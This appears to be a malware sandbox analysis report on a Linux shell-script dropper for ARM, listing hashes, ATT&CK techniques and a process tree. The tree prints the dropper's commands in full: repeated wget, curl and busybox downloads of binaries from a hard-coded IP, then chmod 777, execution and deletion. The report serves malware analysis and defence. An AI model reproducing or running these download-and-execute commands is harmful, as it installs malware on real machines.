d4f300c333029ac4083f4d7dd5af58553f5ce00145c50711420814cea736a41b

Analysis

max time kernel
16s
max time network
19s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/11/2024, 03:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d4f300c333029ac4083f4d7dd5af58553f5ce00145c50711420814cea736a41b.sh
Size 10KB
Sample241107-dvb66avcrp
SHA256 d4f300c333029ac4083f4d7dd5af58553f5ce00145c50711420814cea736a41b
MD5 dff4053d39480890d9cdc7edcef84cb5
SHA1 57ddfb18a74cbe66d9c18cfa1ab1ff5ba09418c6
SHA512 8668df5bee1b008515e3fd53b5b5e0673b648733e2f6993446c7a999785123a0c31a4aef969b13607e393ffd23e84f13097dbf0674abf855e1169ec754724ee3
SSDEEP 96:zYYSrUClJBKaZ1lbrT+TThzuezYRHu0vQ1lHrfYNhTThzuezM9H2YYSriClJBKah:L61lbrTdRG1lLV
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
712	chmod
728	chmod
743	chmod
694	chmod
703	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP	696	coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
/tmp/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK	704	AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
/tmp/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg	714	lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
/tmp/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl	729	WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
/tmp/CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ	744	CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ

Checks CPU configuration 1 TTPs 5 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP	curl
File opened for modification	/tmp/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK	curl
File opened for modification	/tmp/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg	curl
File opened for modification	/tmp/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl	curl
File opened for modification	/tmp/CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ	curl

/tmp/d4f300c333029ac4083f4d7dd5af58553f5ce00145c50711420814cea736a41b.sh
/tmp/d4f300c333029ac4083f4d7dd5af58553f5ce00145c50711420814cea736a41b.sh
1⤵
PID:663
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:669
- /usr/bin/wget
  wget http://216.126.231.240/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  PID:671
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:681
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  PID:691
- /bin/chmod
  chmod 777 coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  ./coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  - Executes dropped EXE
  PID:696
- /bin/rm
  rm coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  PID:697
- /usr/bin/wget
  wget http://216.126.231.240/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  PID:698
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:701
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  PID:702
- /bin/chmod
  chmod 777 AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  - File and Directory Permissions Modification
  PID:703
- /tmp/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  ./AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  - Executes dropped EXE
  PID:704
- /bin/rm
  rm AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  PID:705
- /usr/bin/wget
  wget http://216.126.231.240/bins/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
  2⤵
  PID:706
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:707
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
  2⤵
  PID:708
- /bin/chmod
  chmod 777 lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /tmp/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
  ./lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
  2⤵
  - Executes dropped EXE
  PID:714
- /bin/rm
  rm lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
  2⤵
  PID:715
- /usr/bin/wget
  wget http://216.126.231.240/bins/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
  2⤵
  PID:716
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
  2⤵
  PID:725
- /bin/chmod
  chmod 777 WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
  ./WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
  2⤵
  - Executes dropped EXE
  PID:729
- /bin/rm
  rm WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
  2⤵
  PID:730
- /usr/bin/wget
  wget http://216.126.231.240/bins/CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
  2⤵
  PID:732
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
  2⤵
  PID:740
- /bin/chmod
  chmod 777 CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
  ./CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
  2⤵
  PID:745
- /usr/bin/wget
  wget http://216.126.231.240/bins/kak26PkzfveROsNdzKP3KAfLebstJkZU4W
  2⤵
  PID:747

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP

Path /tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads